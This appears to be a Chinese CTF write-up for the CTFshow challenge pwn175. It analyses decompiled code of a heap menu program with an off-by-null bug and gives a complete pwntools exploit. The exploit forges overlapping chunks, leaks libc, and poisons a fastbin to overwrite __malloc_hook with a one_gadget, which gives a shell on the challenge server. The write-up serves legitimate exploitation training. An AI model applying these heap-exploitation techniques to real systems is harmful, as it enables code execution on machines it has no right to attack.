CTFshow-pwn175
[!NOTE]
常见漏洞
- 远程环境:Ubuntu 18.04
libc 版本为 Ubuntu GLIBC 2.27-3ubuntu1
保护全开
niuyingying@niuyingying:~/ctf/pwn$ checksec ./pwn175
[*] '/home/niuyingying/ctf/pwn/pwn175'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
分析程序主要流程,大致如下
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
unsigned int v3; // eax
int v4; // [rsp+1Ch] [rbp-4h]
sub_F4B(a1, a2, a3);
if ( (int)a1 > 1 )
{
v3 = atoi(a2[1]);
alarm(v3);
}
while ( 1 )
{
while ( 1 )
{
sub_10F8();
v4 = sub_C65();
if ( v4 != 1 )
break;
Alloc();
}
switch ( v4 )
{
case 2:
Show();
break;
case 3:
Delete();
break;
case 4:
exit(0);
default:
puts("wrong choice");
break;
}
}
}
unsigned __int64 sub_F4B()
{
unsigned __int16 buf; // [rsp+2h] [rbp-1Eh] BYREF
int fd; // [rsp+4h] [rbp-1Ch]
void *addr; // [rsp+8h] [rbp-18h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
dword_202018[0] = 0;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
fd = open("/dev/urandom", 0);
if ( fd < 0 )
sub_B90("open device error");
buf = 0;
if ( read(fd, &buf, 2u) < 0 )
sub_B90("read() error");
if ( !calloc(buf, 1u) )
sub_B90("memory error");
addr = 0;
read(fd, &addr, 6u);
addr = (void *)((unsigned __int64)addr & 0xFFFFFFFFFFF000LL);
unk_202020 = mmap(addr, 0x1000u, 3, 34, -1, 0);
if ( !unk_202020 )
sub_B90("memory error");
close(fd);
return __readfsqword(0x28u) ^ v5;
}
int sub_10F8()
{
puts("1. Alloc");
puts("2. Show");
puts("3. Delete");
puts("4. Exit");
return printf("choice: ");
}
_DWORD *Alloc()
{
int v0; // eax
_DWORD *result; // rax
unsigned __int64 i; // [rsp+8h] [rbp-18h]
unsigned int nmemb; // [rsp+10h] [rbp-10h]
void *v4; // [rsp+18h] [rbp-8h]
if ( dword_202018[0] > 0x20u )
sub_B90("too many chunk");
printf("please input chunk size: ");
v0 = sub_C65();
nmemb = v0;
if ( v0 <= 0 || v0 > 256LL )
sub_B90("invalid size");
v4 = calloc(v0, 1u);
if ( !v4 )
sub_B90("memory error");
printf("input chunk content: ");
sub_BC8((__int64)v4, nmemb);
for ( i = 0; i <= 0x1F && *(_QWORD *)(8 * i + unk_202020); ++i )
;
if ( i == 32 )
sub_B90("too many chunk");
*(_QWORD *)(unk_202020 + 8 * i) = v4;
result = dword_202018;
++dword_202018[0];
return result;
}
unsigned __int64 __fastcall sub_BC8(__int64 a1, unsigned int a2)
{
char buf; // [rsp+13h] [rbp-Dh] BYREF
unsigned int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
for ( i = 0; i < a2; ++i )
{
buf = 0;
if ( read(0, &buf, 1u) < 0 )
sub_B90("read() error");
*(_BYTE *)(a1 + i) = buf;
if ( buf == 10 )
break;
}
*(_BYTE *)(i + a1) = 0;
return __readfsqword(0x28u) ^ v5;
}
int Show()
{
int v1; // [rsp+4h] [rbp-Ch]
const char *v2; // [rsp+8h] [rbp-8h]
printf("please input chunk index: ");
v1 = sub_C65();
if ( (unsigned int)v1 >= 0x20 )
sub_B90("invalid index");
v2 = *(const char **)(8LL * v1 + unk_202020);
if ( v2 )
return printf("content: %s\n", v2);
else
return puts("no such a chunk");
}
_QWORD *Delete()
{
_QWORD *result; // rax
int v1; // [rsp+4h] [rbp-Ch]
printf("please input chunk index: ");
v1 = sub_C65();
if ( (unsigned int)v1 >= 0x20 )
sub_B90("invalid index");
result = *(_QWORD **)(8LL * v1 + unk_202020);
if ( result )
{
--dword_202018[0];
free(result);
result = (_QWORD *)(8LL * v1 + unk_202020);
*result = 0;
}
return result;
}
看到程序存在 off-by-null 漏洞,无 UAF
需要注意这个程序的 Alloc() 函数用的是 calloc,不是 malloc ,而 glibc 2.27 的 calloc 不会优先从 tcache 取 chunk
同样的,正是因为程序用 calloc 申请堆块,glibc 2.27 下 calloc 不会优先从 tcache 里取 chunk,所以常规的 “tcache poisoning 改 __free_hook” 路线不好用;于是换成通过 fastbin dup 把 chunk 申请到 __malloc_hook 附近,写 one_gadget,再触发一次 calloc/malloc 来执行 one_gadget
核心利用链大致是
calloc不从 tcache 取,所以先填0x100和0x70tcache- 利用 off-by-null 伪造
prev_size=0x170 - 释放 victim 制造 overlap
Show(0)泄漏main_arena- fastbin dup 写
__malloc_hook = one_gadget - 再触发一次
calloc拿 shell
据此编写脚本,成功 get shell
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
elf = ELF('./pwn175')
libc = ELF('./libc-2.27.so')
# io = process('./pwn175')
io = remote("pwn.challenge.ctf.show",28143)
# io = gdb.debug('./pwn173', gdbscript='b *0x4015C3\nb *0x401840\nc')
# io = gdb.debug(
# './pwn175',
# gdbscript='''
# set pagination off
# set sysroot /
# handle SIGALRM nostop noprint nopass
# breakrva 0xE0A
# breakrva 0xE97
# breakrva 0xF49
# c
# '''
# )
def Alloc(size,text):
io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"please input chunk size: ")
io.sendline(str(size).encode())
io.recvuntil(b"input chunk content: ")
if len(text) >= size:
io.send(text)
else:
io.sendline(text)
def Show(i):
io.recvuntil(b"choice: ")
io.sendline(b"2")
io.recvuntil(b"please input chunk index: ")
io.sendline(str(i).encode())
def Delete(i):
io.recvuntil(b"choice: ")
io.sendline(b"3")
io.recvuntil(b"please input chunk index: ")
io.sendline(str(i).encode())
Alloc(0xf8,b"\x00") # 0
Alloc(0x68,b"\x00") # 0,1
Alloc(0xf8,b"\x00") # 0,1,2
for i in range(8):
Alloc(0xf8,b"\x00") # 0,1,2,3,4,5,6,7,8,9,10
for i in range(8):
Alloc(0x68,b"\x00") # 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
for i in range(3,10):
Delete(i) # 0,1,2,10,11,12,13,14,15,16,17,18
for i in range(11,18):
Delete(i) # 0,1,2,10,18
# tcachebins
# 0x70 [ 7]: 0x555555a0fb50 —▸ 0x555555a0fae0 —▸ 0x555555a0fa70 —▸ 0x555555a0fa00 —▸ 0x555555a0f990 —▸ 0x555555a0f920 —▸ 0x555555a0f8b0 ◂— 0
# 0x100 [ 7]: 0x555555a0f6b0 —▸ 0x555555a0f5b0 —▸ 0x555555a0f4b0 —▸ 0x555555a0f3b0 —▸ 0x555555a0f2b0 —▸ 0x555555a0f1b0 —▸ 0x555555a0f0b0 ◂— 0
# fastbins
# 0x70: 0x555555a0ef30 ◂— 0
# unsortedbin
# all: 0x555555a0ee30 —▸ 0x7ffff7bebca0 ◂— 0x555555a0ee30
Delete(0) # 1,2,10,18
Delete(1) # 2,10,18
# Free chunk (unsortedbin) | PREV_INUSE
# Addr: 0x555555a0ee30
# Size: 0x100 (with flag bits: 0x101)
# fd: 0x7ffff7bebca0
# bk: 0x7ffff7bebca0
#
# Allocated chunk
# Addr: 0x555555a0ef30
# Size: 0x70 (with flag bits: 0x70)
#
# Allocated chunk
# Addr: 0x555555a0efa0
# Size: 0x100 (with flag bits: 0x100)
Alloc(0x68,b"\x00" * 0x60 + p64(0x170)) # 0,2,10,18
# Free chunk (unsortedbin) | PREV_INUSE
# Addr: 0x555555a0ee30
# Size: 0x270 (with flag bits: 0x271)
# fd: 0x7ffff7bebca0
# bk: 0x7ffff7bebca0
Delete(2) # 0,10,18
Alloc(0xf8,b"\x00") # 0,1,10,18
Show(0)
io.recvuntil(b"content: ")
leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))
libc_base = leak - 0x60 - 0x10 - libc.sym['__malloc_hook']
print(hex(libc_base))
one_gadget = libc_base + 0x4f322
malloc_hook = libc_base + libc.sym['__malloc_hook']
# Allocated chunk | PREV_INUSE 1
# Addr: 0x555555a0ee30
# Size: 0x100 (with flag bits: 0x101)
#
# Allocated chunk | PREV_INUSE 0,2
# Addr: 0x555555a0ef30
# Size: 0x70 (with flag bits: 0x71)
#
# Free chunk (unsortedbin) | PREV_INUSE
# Addr: 0x555555a0efa0
# Size: 0x100 (with flag bits: 0x101)
# fd: 0x7ffff7bebca0
# bk: 0x7ffff7bebca0
#
# tcachebins
# 0x70 [ 7]: 0x555555a0fb50 —▸ 0x555555a0fae0 —▸ 0x555555a0fa70 —▸ 0x555555a0fa00 —▸ 0x555555a0f990 —▸ 0x555555a0f920 —▸ 0x555555a0f8b0 ◂— 0
# 0x100 [ 7]: 0x555555a0f6b0 —▸ 0x555555a0f5b0 —▸ 0x555555a0f4b0 —▸ 0x555555a0f3b0 —▸ 0x555555a0f2b0 —▸ 0x555555a0f1b0 —▸ 0x555555a0f0b0 ◂— 0
# fastbins
# empty
# unsortedbin
# all: 0x555555a0efa0 —▸ 0x7ffff7bebca0 ◂— 0x555555a0efa0
Alloc(0x68,b"\x00") # 0,1,2,10,18
# tcachebins
# 0x70 [ 7]: 0x555555a0fb50 —▸ 0x555555a0fae0 —▸ 0x555555a0fa70 —▸ 0x555555a0fa00 —▸ 0x555555a0f990 —▸ 0x555555a0f920 —▸ 0x555555a0f8b0 ◂— 0
# 0x100 [ 7]: 0x555555a0f6b0 —▸ 0x555555a0f5b0 —▸ 0x555555a0f4b0 —▸ 0x555555a0f3b0 —▸ 0x555555a0f2b0 —▸ 0x555555a0f1b0 —▸ 0x555555a0f0b0 ◂— 0
# fastbins
# 0x70: 0x555555a0ef30 —▸ 0x555555a0fbb0 ◂— 0x555555a0ef30
# unsortedbin
# all: 0x555555a0efa0 —▸ 0x7ffff7bebca0 ◂— 0x555555a0efa0
Delete(0) # 1,2,10,18
Delete(18) # 1,2,10
Delete(2) # 1,10
Alloc(0x68,p64(malloc_hook - 0x23))
Alloc(0x68,b"\x00")
Alloc(0x68,b"\x00")
Alloc(0x68,b"\x00" * 0x13 + p64(one_gadget))
io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"please input chunk size: ")
io.sendline(str(0x10).encode())
io.interactive()

浙公网安备 33010602011771号